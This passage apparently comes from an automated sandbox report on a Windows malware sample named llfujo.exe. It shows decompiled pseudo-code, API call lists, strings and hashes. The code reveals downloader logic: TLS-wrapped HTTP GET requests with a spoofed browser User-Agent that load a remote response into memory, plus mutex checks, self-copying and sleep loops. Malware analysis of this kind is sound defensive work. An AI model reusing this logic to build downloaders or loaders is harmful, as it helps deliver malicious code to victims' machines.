				E00406259( &_v1080,  &_v16 - _t88);
				E00404681(_a16);
				_t50 = E00402D52(__edx, _t90, _a4, _a8,  &_v1068,  &_v1076,  &_v8);
				_t91 = _t50;
				if(_t50 != 0) {
					E00404224(_t91, _v8,  &_v1052, wsprintfA( &_v1052, "GET %s HTTP/1.0\r\nHost: %s\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0\r\nConnection: close\r\n\r\n", _a12, _a4), 0,  &_v1068);
					while(1) {
						E0040621F(_v8, 0,  &_v28, 0xa, 0);
						_push( &_v16);
						_push(0);
						_push(0);
						_t72 =  &_v28;
						_push(_t72);
						_push(0);
						L00406A24();
						_t92 = _t72;
						if(_t72 <= 0) {
							goto L5;
						}
						_t75 = E00404359(_t92, _v8,  &_v1080,  &_v1068);
						if(_t75 > 0) {
							_v1060 = _v1060 + _t75;
							E004045E2( &_v1056, _v1060, _v1080, _t75);
							E00404681( &_v1080);
							continue;
						}
						goto L5;
					}
				}
				L5:
				E00405FFB( &_v1068,  &_v1076, _v8);
				__eflags = _v1060;
				if(_v1060 == 0) {
					L13:
					E00404681( &_v1056);
					_v1060 = 0;
				} else {
					_t87 = _v1056;
					_t82 = _v1060;
					while(1) {
						__eflags = _t82 - 4;
						if(_t82 < 4) {
							goto L13;
						}
						__eflags =  *_t87 - 0xa0d0a0d;
						if( *_t87 != 0xa0d0a0d) {
							L11:
							_t87 = _t87 + 1;
							_t82 = _t82 - 1;
							__eflags = _t82;
							continue;
						} else {
							_t82 = _t82 - 4;
							_t87 = _t87 + 4;
							__eflags = _t82;
							if(_t82 <= 0) {
								goto L11;
							} else {
								_v1060 = _t82;
								_t60 = VirtualAlloc(0, _v1060, 0x3000, 4);
								__eflags = _t60;
								if(_t60 == 0) {
									goto L13;
								} else {
									_t86 = _t60;
									E004061D2(_t87, _t86, _v1060);
									E00404681( &_v1056);
									_v1056 = _t86;
								}
							}
						}
						goto L14;
					}
					goto L13;
				}
				L14:
				E004061D2( &_v1056, _a16, 4);
				return _v1060;
			}

0x00402ba7
0x00402bbe
0x00402bc6
0x00402be3
0x00402be8
0x00402bea
0x00402c20
0x00402c25
0x00402c32
0x00402c3a
0x00402c3b
0x00402c3d
0x00402c3f
0x00402c42
0x00402c43
0x00402c45
0x00402c4a
0x00402c4c
0x00000000
0x00000000
0x00402c5f
0x00402c66
0x00402c6e
0x00402c83
0x00402c8f
0x00000000
0x00402c8f
0x00000000
0x00402c66
0x00402c25
0x00402c96
0x00402ca7
0x00402cac
0x00402cb3
0x00402d1e
0x00402d25
0x00402d2a
0x00402cb5
0x00402cb5
0x00402cbb
0x00402d19
0x00402d19
0x00402d1c
0x00000000
0x00000000
0x00402cc3
0x00402cc9
0x00402d17
0x00402d17
0x00402d18
0x00402d18
0x00000000
0x00402ccb
0x00402ccb
0x00402cce
0x00402cd1
0x00402cd4
0x00000000
0x00402cd6
0x00402cd6
0x00402cf0
0x00402cf0
0x00402cf2
0x00000000
0x00402cf4
0x00402cf4
0x00402cfe
0x00402d0a
0x00402d0f
0x00402d0f
0x00402cf2
0x00402cd4
0x00000000
0x00402cc9
0x00000000
0x00402d19
0x00402d34
0x00402d40
0x00402d4f

APIs

Part of subcall function 00404681: VirtualFree.KERNEL32(?,00000000,00008000,?,?,000000C7,?,00405389,?,?,?,?,?,?,00000000,00000006), ref: 00404698

Part of subcall function 00402D52: AcquireCredentialsHandleA.SECUR32(00000000,Microsoft Unified Security Protocol Provider,00000002,00000000,?,00000000,00000000,?,00000000,?,00000008,?,00000008,?,?,00408566), ref: 00402DA8
Part of subcall function 00402D52: InitializeSecurityContextA.SECUR32(?,00000000,?,?,00000000,00000010,00000000,00000000,?,?,?,00000000,?,?,00000004,?), ref: 00402E2F
Part of subcall function 00402D52: FreeContextBuffer.SECUR32(?,?,?,?,00000000,?,00000000,?,?,00000000,00000010,00000000,00000000,?,?,?), ref: 00402E5B
Part of subcall function 00402D52: VirtualAlloc.KERNEL32(00000000,00008000,00003000,00000004,?,?,?,?,00000000,?,00000000,?,?,00000000,00000010,00000000), ref: 00402E6E

wsprintfA.USER32 ref: 00402C02
select.WSOCK32(00000000,?,00000000,00000000,?,?,00000000,?,0000000A,00000000,?,?,00000000,00000000,?), ref: 00402C45
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 00402CEB

Part of subcall function 00404359: VirtualAlloc.KERNEL32(00000000,?,00003000,00000004,?,00000004,?,?,?,?,00000003), ref: 00404392
Part of subcall function 00404359: DecryptMessage.SECUR32(?,?,00000000,00000000,?,?,00000004,?,?,00000004,?,?,?,00000000,00000000,?), ref: 0040447B

Strings

GET %s HTTP/1.0Host: %sUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close, xrefs: 00402BF6

Memory Dump Source

Source File: 00000000.00000002.308108049.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_i1lq1Qpbyw.jbxd

Similarity

API ID: Virtual$Alloc$ContextFree$AcquireBufferCredentialsDecryptHandleInitializeMessageSecurityselectwsprintf
String ID: GET %s HTTP/1.0Host: %sUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
API String ID: 3270067178-3041754183
Opcode ID: 2828a38bb38c6b1a470c76924da7ec9ed622c16335ac7d6f96ddf4cad91fea56
Instruction ID: ea3e87377c713c2e9a9400357f34f7aa124d835e45dc53f7a9d5bf21af3c192a
Opcode Fuzzy Hash: 2828a38bb38c6b1a470c76924da7ec9ed622c16335ac7d6f96ddf4cad91fea56
Instruction Fuzzy Hash: DE412DF2A0011CAADF21AA91CD45FEE77BCAF44304F5044BAB705B60D1E7789F958B68

Uniqueness

Uniqueness Score: -1.00%

Function 00865DDB Relevance: 6.1, APIs: 4, Instructions: 78windowCOMMON

Download Yara Rule

APIs

CreateWindowExA.USER32(00000080,?,?,00C80000,00000FA0,00000FA0,000001F4,00000096,00000000,00000000,?,00000000), ref: 00865EB8
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 00865EDC
TranslateMessage.USER32(?), ref: 00865EE5
DispatchMessageA.USER32(?), ref: 00865EEE

Memory Dump Source

Source File: 00000000.00000002.308176286.0000000000860000.00000040.00001000.00020000.00000000.sdmp, Offset: 00860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_i1lq1Qpbyw.jbxd

Yara matches

Similarity

API ID: Message$CreateDispatchTranslateWindow
String ID:
API String ID: 1603676695-0
Opcode ID: c0988211585519f28889d20caa47f2a62cf186668c5d987b6ff5aa59d4caad1a
Instruction ID: f357160bd0c35d90ef66b911bff188b1bf4eb29764e527b61b4d0862764f816e
Opcode Fuzzy Hash: c0988211585519f28889d20caa47f2a62cf186668c5d987b6ff5aa59d4caad1a
Instruction Fuzzy Hash: 6231EA70E50248BAEB50EFE8CC46FDDB6B8FB04B10F514065B608FA1C1EBB556148BA6

Uniqueness

Uniqueness Score: -1.00%

Function 004046AE Relevance: 6.1, APIs: 4, Instructions: 61
sleepnetworkCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E004046AE() {
				char _v402;
				intOrPtr _v412;
				char _v420;
				intOrPtr _v424;
				char _v436;
				char _v440;
				char* _t21;
				intOrPtr _t27;
				signed int _t31;
				void* _t33;
				void* _t34;

				E00406259( &_v440, _t33 - _t34);
				goto L1;
				L3:
				L3:
				if(_v412 == 0) {
					_t38 = _v440;
					if(_v440 == 0) {
						L00406AA2();
						_v440 = _t27;
					}
				}
				_t27 = E00404BE5(_t31, _t38, _v412, _v424);
				if(_t27 != 0) {
					goto L14;
				}
				while(_v412 != 0) {
					__eflags = _v412 - 0x408010;
					if(__eflags == 0) {
						_v412 = 0x408042;
						L13:
						goto L3;
					}
					_v412 = 0;
					_t27 = 0;
					__eflags = 0;
					asm("repe scasb");
					if(0 == 0) {
						continue;
					}
					goto L13;
				}
				_v412 = 0x408010;
				goto L13;
				L14:
				Sleep(0x2bf20);
				goto L3;
				L1:
				Sleep(0x2710);
				_t21 =  &_v402;
				_push(_t21);
				_push(0x202);
				L004069F4();
				if(_t21 != 0) {
					goto L1;
				} else {
					_v412 = 0x408010;
					E00406270(0x408074, 0xffffffff,  &_v420);
					_v424 = E004061EA( &_v420);
					_t27 = E00406270(0x40807e, 0xa,  &_v436);
					goto L3;
				}
			}

0x004046c2
0x004046c2
0x00000000
0x00404728
0x0040472f
0x00404731
0x00404738
0x0040473a
0x0040473f
0x0040473f
0x00404738
0x00404751
0x00404758
0x00000000
0x00000000
0x0040475a
0x0040476f
0x00404779
0x00404798
0x004047a2
0x00000000
0x004047a2
0x0040477b
0x0040478b
0x0040478b
0x00404792
0x00404794
0x00000000
0x00000000
0x00000000
0x00404796
0x00404763
0x00000000
0x004047a4
0x004047a9
0x00000000
0x004046c7
0x004046cc
0x004046d1
0x004046d7
0x004046d8
0x004046dd
0x004046e4
0x00000000
0x004046e6
0x004046e6
0x004046fe
0x0040470f
0x00404723
0x00000000
0x00404723

APIs

Sleep.KERNEL32(00002710,?), ref: 004046CC
WSAStartup.WSOCK32(00000202,?,00002710,?), ref: 004046DD
InitSecurityInterfaceA.SECUR32(0002BF20,?,?,0040807E,0000000A,?,?,00408074,000000FF,?,00000202,?,00002710,?), ref: 0040473A
Sleep.KERNEL32(0002BF20,?,?,0040807E,0000000A,?,?,00408074,000000FF,?,00000202,?,00002710,?), ref: 004047A9

Memory Dump Source

Source File: 00000000.00000002.308108049.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_i1lq1Qpbyw.jbxd

Similarity

API ID: Sleep$InitInterfaceSecurityStartup
String ID:
API String ID: 3734495323-0
Opcode ID: 6bfff6133595982a0b0d7c63d336999db48d5bc1cbf1d16ee10045db65cb5e2f
Instruction ID: 32668a4f7727aee79309d565fee0f0efc37fcb71324598338343f478b02e6bf0
Opcode Fuzzy Hash: 6bfff6133595982a0b0d7c63d336999db48d5bc1cbf1d16ee10045db65cb5e2f
Instruction Fuzzy Hash: 8B219CB09002189ADF60AB51CD46BE972B8AF86304F1101FFA749761C1DB7C4AD4CF1A

Uniqueness

Uniqueness Score: -1.00%

Function 00405E81 Relevance: 6.1, APIs: 4, Instructions: 53
synchronizationnetworkCOMMON

Download Yara Rule

C-Code - Quality: 62%

			E00405E81(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, void* _a16) {
				char _v8;
				char _v28;
				char* _t20;
				intOrPtr _t24;

				_v8 = 0xa;
				if(_a16 != 0) {
					WaitForSingleObject(_a16, 0xffffffff);
				}
				_t24 = _a8;
				while(_a12 != 0) {
					E0040621F(_a4, 0,  &_v28, 0, 0);
					_push(0);
					_push(0);
					_t20 =  &_v28;
					_push(_t20);
					_push(0);
					_push(0);
					L00406A24();
					if(_t20 == 1) {
						_push(0);
						_push(_a12);
						_push(_t24);
						_push(_a4);
						L00406A2A();
						if(_t20 > 0) {
							_a12 = _a12 - _t20;
							_t24 = _t24 + _t20;
							_t12 =  &_v8;
							 *_t12 = _v8 - 1;
							if( *_t12 != 0) {
								continue;
							}
						}
					}
					break;
				}
				if(_a16 != 0) {
					SetEvent(_a16);
				}
				return _a12;
			}

0x00405e8a
0x00405e95
0x00405e9c
0x00405e9c
0x00405ea1
0x00405eea
0x00405eb3
0x00405eb8
0x00405eba
0x00405ebc
0x00405ebf
0x00405ec0
0x00405ec2
0x00405ec4
0x00405ecc
0x00405ece
0x00405ed0
0x00405ed3
0x00405ed4
0x00405ed7
0x00405ede
0x00405ee0
0x00405ee3
0x00405ee5
0x00405ee5
0x00405ee8
0x00000000
0x00000000
0x00405ee8
0x00405ede
0x00000000
0x00405ecc
0x00405ef4
0x00405ef9
0x00405ef9
0x00405f05

APIs

WaitForSingleObject.KERNEL32(?,000000FF,?,?,?), ref: 00405E9C
select.WSOCK32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?), ref: 00405EC4
send.WSOCK32(?,?,?,00000000,00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,?,?), ref: 00405ED7
SetEvent.KERNEL32(?,00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?), ref: 00405EF9

Memory Dump Source

Source File: 00000000.00000002.308108049.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_i1lq1Qpbyw.jbxd

Similarity

API ID: EventObjectSingleWaitselectsend
String ID:
API String ID: 3746265427-0
Opcode ID: 113ec2eb669758f4957e401fc0df4c31e6288e18a9b311591d8add46774f9e54
Instruction ID: 2396f94303c78b994c04533d99ebd8cf1fb94f9d4c8c1189a4efc987da97af84
Opcode Fuzzy Hash: 113ec2eb669758f4957e401fc0df4c31e6288e18a9b311591d8add46774f9e54
Instruction Fuzzy Hash: 0811613164020ABBEF20AF55CD06FEF36A8EB01715F100137BA51B51D1CBB9AA60DBD9

Uniqueness

Uniqueness Score: -1.00%

Function 00402A45 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E00402A45(void* __edx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				char _v16;
				char _v1072;
				char _v1076;
				char _v1080;
				char _v1084;
				void* _t58;
				void* _t59;
				void* _t61;

				_t61 = __eflags;
				E00406259( &_v1084,  &_v16 - _t59);
				E00404681(_a16);
				if(E004027BB(__edx, _t61,  &_v8, _a4, _a8, 0xa) != 0) {
					_t40 = E00405E81(_v8,  &_v1072, wsprintfA( &_v1072, "GET %s HTTP/1.0\r\nHost: %s\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0\r\nConnection: close\r\n\r\n", _a12, _a4), 0);
					_t58 = 0;
					while(_t58 <= 0x400) {
						_t13 =  &_v1072; // -1068
						_t40 = E00405F54(__eflags, _v8, _t58 + _t13, 1, 0xa);
						__eflags = _t40 - 1;
						if(_t40 == 1) {
							_t58 = _t58 + 1;
							__eflags = _t58 - 4;
							if(__eflags < 0) {
								continue;
							} else {
								__eflags =  *[ss:edi+ebp-0x430] - 0xa0d0a0d;
								if(__eflags != 0) {
									continue;
								} else {
									while(1) {
										_push( &_v1076);
										_push(0x4004667f);
										_push(_v8);
										L00406A18();
										__eflags = _v1076;
										if(_v1076 == 0) {
											_v1076 = 0x1000;
										}
										_t40 = E00404618( &_v1080, _v1084, _v1076 + _v1084);
										__eflags = _t40;
										if(_t40 == 0) {
											goto L14;
										}
										while(1) {
											__eflags = _v1076;
											if(__eflags == 0) {
												break;
											}
											_t40 = E00405F54(__eflags, _v8, _v1080 + _v1084, _v1076, 0xa);
											__eflags = _t40;
											if(_t40 > 0) {
												_v1084 = _v1084 + _t40;
												_t29 =  &_v1076;
												 *_t29 = _v1076 - _t40;
												__eflags =  *_t29;
												continue;
											}
											goto L14;
										}
									}
								}
							}
						}
						goto L14;
					}
				}
				L14:
				E0040603E(_t40, _v8);
				E004061D2( &_v1080, _a16, 4);
				return _v1084;
			}

0x00402a45
0x00402a5c
0x00402a64
0x00402a7c
0x00402aa9
0x00402aae
0x00402b75
0x00402ab9
0x00402ac4
0x00402ac9
0x00402acc
0x00402ad2
0x00402ad3
0x00402ad6
0x00000000
0x00402adc
0x00402adc
0x00402ae8
0x00000000
0x00000000
0x00402aee
0x00402af4
0x00402af5
0x00402afa
0x00402afd
0x00402b02
0x00402b09
0x00402b0b
0x00402b0b
0x00402b2f
0x00402b34
0x00402b36
0x00000000
0x00000000
0x00402b67
0x00402b67
0x00402b6e
0x00000000
0x00000000
0x00402b52
0x00402b57
0x00402b59
0x00402b5b
0x00402b61
0x00402b61
0x00402b61
0x00000000
0x00402b61
0x00000000
0x00402b59
0x00402b70
0x00402aee
0x00402ae8
0x00402ad6
0x00000000
0x00402acc
0x00402b75
0x00402b81
0x00402b84
0x00402b95
0x00402ba4

APIs

Part of subcall function 00404681: VirtualFree.KERNEL32(?,00000000,00008000,?,?,000000C7,?,00405389,?,?,?,?,?,?,00000000,00000006), ref: 00404698

Part of subcall function 004027BB: socket.WSOCK32(00000002,00000001,00000006,?,?,?,?,00000003), ref: 004027DD
Part of subcall function 004027BB: setsockopt.WSOCK32(?,00000006,00000001,?,00000004,?,?,00000004,00000002,00000001,00000006,?,?,?,?,00000003), ref: 0040280D
Part of subcall function 004027BB: inet_addr.WSOCK32(00000000,00000000,?,00000002,?,?,000000FF,?,?,00000006,00000001,?,00000004,?,?,00000004), ref: 00402850
Part of subcall function 004027BB: htons.WSOCK32(?,00000000,00000000,?,00000002,?,?,000000FF,?,?,00000006,00000001,?,00000004,?,?), ref: 00402871
Part of subcall function 004027BB: ioctlsocket.WSOCK32(?,8004667E,?,?,00000000,00000000,?,00000002,?,?,000000FF,?,?,00000006,00000001,?), ref: 00402899
Part of subcall function 004027BB: connect.WSOCK32(?,?,00000010,?,8004667E,?,?,00000000,00000000,?,00000002,?,?,000000FF,?,?), ref: 004028A7
Part of subcall function 004027BB: select.WSOCK32(00000000,00000000,?,00000000,?,?,00000000,?,?,00000000,?,?,00000010,?,8004667E,?), ref: 004028CD
Part of subcall function 004027BB: ioctlsocket.WSOCK32(?,8004667E,?,00000000,00000000,?,00000000,?,?,00000000,?,?,00000000,?,?,00000010), ref: 004028F0

wsprintfA.USER32 ref: 00402A94

Part of subcall function 00405E81: WaitForSingleObject.KERNEL32(?,000000FF,?,?,?), ref: 00405E9C
Part of subcall function 00405E81: SetEvent.KERNEL32(?,00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?), ref: 00405EF9

ioctlsocket.WSOCK32(?,4004667F,?), ref: 00402AFD

Strings

GET %s HTTP/1.0Host: %sUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close, xrefs: 00402A88

Memory Dump Source

Source File: 00000000.00000002.308108049.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_i1lq1Qpbyw.jbxd

Similarity

API ID: ioctlsocket$EventFreeObjectSingleVirtualWaitconnecthtonsinet_addrselectsetsockoptsocketwsprintf
String ID: GET %s HTTP/1.0Host: %sUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
API String ID: 2667627932-3041754183
Opcode ID: 0b94c95cbee72e6236bd4e11aeb75fad0f975269c25ce6b7bd6ce0e1376529db
Instruction ID: 511fe9c704641e92f19ff8053734ebdddd3d1194ed401c1cce5eb170f25c8087
Opcode Fuzzy Hash: 0b94c95cbee72e6236bd4e11aeb75fad0f975269c25ce6b7bd6ce0e1376529db
Instruction Fuzzy Hash: FC3161B1D00219AADF21AE64CD46FDE7378AB44318F4011BABA09B20D1D7799B94DF1D

Uniqueness

Uniqueness Score: -1.00%

Function 00405FFB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E00405FFB(intOrPtr* _a4, intOrPtr* _a8, intOrPtr _a12) {
				void* _t7;
				intOrPtr* _t9;
				intOrPtr* _t10;

				_t10 = _a4;
				if( *_t10 != 0 ||  *((intOrPtr*)(_t10 + 4)) != 0) {
					_push(_t10);
					L00406A7E();
				}
				_t9 = _a8;
				if( *_t9 != 0 ||  *((intOrPtr*)(_t9 + 4)) != 0) {
					_push(_t9);
					L00406A90();
				}
				if(_a12 != 0) {
					return E0040603E(_t7, _a12);
				}
				return _t7;
			}

0x00406001
0x00406007
0x0040600f
0x00406010
0x00406010
0x00406015
0x0040601b
0x00406023
0x00406024
0x00406024
0x0040602d
0x00000000
0x00406032
0x0040603b

APIs

DeleteSecurityContext.SECUR32(?,?,llfujo,00000003,?,0040534D,?,?,?,?,00000000,00000006,?,00000000,00000002,00000000), ref: 00406010
FreeCredentialsHandle.SECUR32(?,?,?,llfujo,00000003,?,0040534D,?,?,?,?,00000000,00000006,?,00000000,00000002), ref: 00406024

Strings

llfujo, xrefs: 00405FFF

Memory Dump Source

Source File: 00000000.00000002.308108049.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_i1lq1Qpbyw.jbxd

Similarity

API ID: ContextCredentialsDeleteFreeHandleSecurity
String ID: llfujo
API String ID: 4037185482-2623408462
Opcode ID: f9cdc18efc00309c2387021243cc9d8d8b1836885ddc4571b5c1678377b19811
Instruction ID: 8408628c45a78c38b20e8401183cbb7796a99266342e33a0c94a3183ed2c343b
Opcode Fuzzy Hash: f9cdc18efc00309c2387021243cc9d8d8b1836885ddc4571b5c1678377b19811
Instruction Fuzzy Hash: D8F06531140216EBDB35AE09C804B9B77A8EF81399F12803FE412361D193BC9CF0CA99

Uniqueness

Uniqueness Score: -1.00%

Function 00865EF9 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32(00000000,0000EA60,0040811D,00002710,0040593C,00000000,00002710,0040593C,00000000), ref: 00866ADD

Strings

J, xrefs: 00865EFF
llfujo, xrefs: 00865F18

Memory Dump Source

Source File: 00000000.00000002.308176286.0000000000860000.00000040.00001000.00020000.00000000.sdmp, Offset: 00860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_i1lq1Qpbyw.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: J$llfujo
API String ID: 621844428-3406935086
Opcode ID: 3e4acc038e22f6ff0e1a9397e63c14ed0e905d77c03657d31d28e17e2454a0a4
Instruction ID: 06057c36ad5daae6d8417a82042c23236f8e6b396d5c8bd5df8c587589e91d6a
Opcode Fuzzy Hash: 3e4acc038e22f6ff0e1a9397e63c14ed0e905d77c03657d31d28e17e2454a0a4
Instruction Fuzzy Hash: E1E0DF3210828DFACF012FC8AC02A9E3F24FB447A2F028032F600A80925A318431AB73

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: llfujo.exePID: 3484, Parent PID: 1084COMMON

Execution Graph

Execution Coverage:	4.6%
Dynamic/Decrypted Code Coverage:	98.3%
Signature Coverage:	0%
Total number of Nodes:	473
Total number of Limit Nodes:	1

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 0086003C Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0086024D

Strings

cess, xrefs: 0086018D
kernel32.dll, xrefs: 0086008F, 00860095

Memory Dump Source

Source File: 00000001.00000002.570219919.0000000000860000.00000040.00001000.00020000.00000000.sdmp, Offset: 00860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_860000_llfujo.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction ID: a674808c53c304cfb92e66001fc9b1103b688bc5da09f1356f6c0807d8b00ea4
Opcode Fuzzy Hash: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction Fuzzy Hash: 13526874A012299FDB64CF58C985BA9BBB1BF09304F1580E9E90DAB351DB30AE84DF15

Uniqueness

Uniqueness Score: -1.00%

Function 0040F550 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 133
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalAlloc.KERNELBASE(00000000,00847C14), ref: 0040F6C6

Strings

![, xrefs: 0040F5B0
@R, xrefs: 0040F589

Memory Dump Source

Source File: 00000001.00000002.570156343.000000000040A000.00000020.00000001.01000000.00000006.sdmp, Offset: 0040A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_40a000_llfujo.jbxd

Similarity

API ID: AllocGlobal
String ID: ![$@R
API String ID: 3761449716-3143744918
Opcode ID: 4ddd8694687c28b8444426dd6c555b5ae585839390be9013c3db5c396f0f1c9b
Instruction ID: 98098615c7e61e3209297b63cb06055a76a04939ce80bd2ecad00045fb544937
Opcode Fuzzy Hash: 4ddd8694687c28b8444426dd6c555b5ae585839390be9013c3db5c396f0f1c9b
Instruction Fuzzy Hash: 7E5103349042909BD310DF64ED48B963BA1FBAA304F00543AE559E73F1D7B9498AC7BE

Uniqueness

Uniqueness Score: -1.00%

Function 00860DF8 Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,00860223,?,?), ref: 00860E02
SetErrorMode.KERNELBASE(00000000,?,?,00860223,?,?), ref: 00860E07

Memory Dump Source

Source File: 00000001.00000002.570219919.0000000000860000.00000040.00001000.00020000.00000000.sdmp, Offset: 00860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_860000_llfujo.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: d645ef7b6af48f12e870c34ed1b5640e3bd74d96dc479c3fbf86ac33cd21b16b
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 3AD0123114512C77D7402A94DC09BCE7B1CDF05B67F008051FB0DD9181C771994046E9

Uniqueness

Uniqueness Score: -1.00%

Function 0040D980 Relevance: 1.5, APIs: 1, Instructions: 11
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(0083F730,00847C14,00000040), ref: 0040D995

Memory Dump Source

Source File: 00000001.00000002.570156343.000000000040A000.00000020.00000001.01000000.00000006.sdmp, Offset: 0040A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_40a000_llfujo.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: d4c84bd9978b7fb4b76ac18cd9993b0199ccbdc30b391d2bbd7efd86884b4ca2
Instruction ID: ea5698d955b10bbefbe7e398434c6d4fcd029ac7c9358c260c771c71912e556b
Opcode Fuzzy Hash: d4c84bd9978b7fb4b76ac18cd9993b0199ccbdc30b391d2bbd7efd86884b4ca2
Instruction Fuzzy Hash: 3DC08CF4114100AFD608CB10ED84E2233ACF388300F10492DF282931A0CB30A801CAB8

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00861250 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 119
sleepfilesynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNEL32(00000000,00000000,00405B8B,00405CA9,00000000,00000000), ref: 0086127B
GetModuleFileNameA.KERNEL32(00000000,?,00000100,00000000,00000000,00405B8B,00405CA9,00000000,00000000,?,?,70207369), ref: 0086128E

Part of subcall function 00865FB8: LocalFree.KERNEL32(?,?,00000019,?,?,?,00000000,?,00000000,00000008,?), ref: 00866014
Part of subcall function 00865FB8: LocalAlloc.KERNEL32(00000000,?,?,?,00000019,?,?,?,00000000,?,00000000,00000008,?), ref: 0086601E
Part of subcall function 00865FB8: GetTokenInformation.ADVAPI32(?,00000019(TokenIntegrityLevel),?,?,?,00000000,?,?,?,00000019,?,?,?,00000000,?,00000000), ref: 00866035
Part of subcall function 00865FB8: GetSidSubAuthority.ADVAPI32(?,00000000,?,TokenIntegrityLevel,?,?,?,00000000,?,?,?,00000019,?,?,?,00000000), ref: 00866045
Part of subcall function 00865FB8: LocalFree.KERNEL32(?,00000000,?,00000004,?,00000000,?,00000019,?,?,?,00000000,?,00000000,00000008,?), ref: 0086605D
Part of subcall function 00865FB8: CloseHandle.KERNEL32(?,?,00000000,?,00000004,?,00000000,?,00000019,?,?,?,00000000,?,00000000,00000008), ref: 00866065

OpenMutexA.KERNEL32(00100000,00000000,llfujo), ref: 00861340
CreateMutexA.KERNEL32(00000000,00000000,llfujo,00100000,00000000,llfujo,00408129,00000000,?,00000100,00000000,00000000,00405B8B,00405CA9,00000000,00000000), ref: 00861354
EnumWindows.USER32(0040593C,00000000), ref: 0086137B
Sleep.KERNEL32(00002710,0040593C,00000000,00002710,0040593C,00000000), ref: 00861385
GetModuleFileNameA.KERNEL32(00000000,?,00000100,0040811D,00002710,0040593C,00000000,00002710,0040593C,00000000), ref: 008613B2
CopyFileA.KERNEL32(?,?,00000000), ref: 008613D8
Sleep.KERNEL32(0000EA60,0040811D,00002710,0040593C,00000000,00002710,0040593C,00000000), ref: 008613FE
ExitProcess.KERNEL32(00000000,0000EA60,0040811D,00002710,0040593C,00000000,00002710,0040593C,00000000), ref: 00866ADD

Strings

llfujo, xrefs: 00861306, 00861316, 00861334, 0086134B, 008613B7, 008613EF

Memory Dump Source

Source File: 00000001.00000002.570219919.0000000000860000.00000040.00001000.00020000.00000000.sdmp, Offset: 00860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_860000_llfujo.jbxd

Yara matches

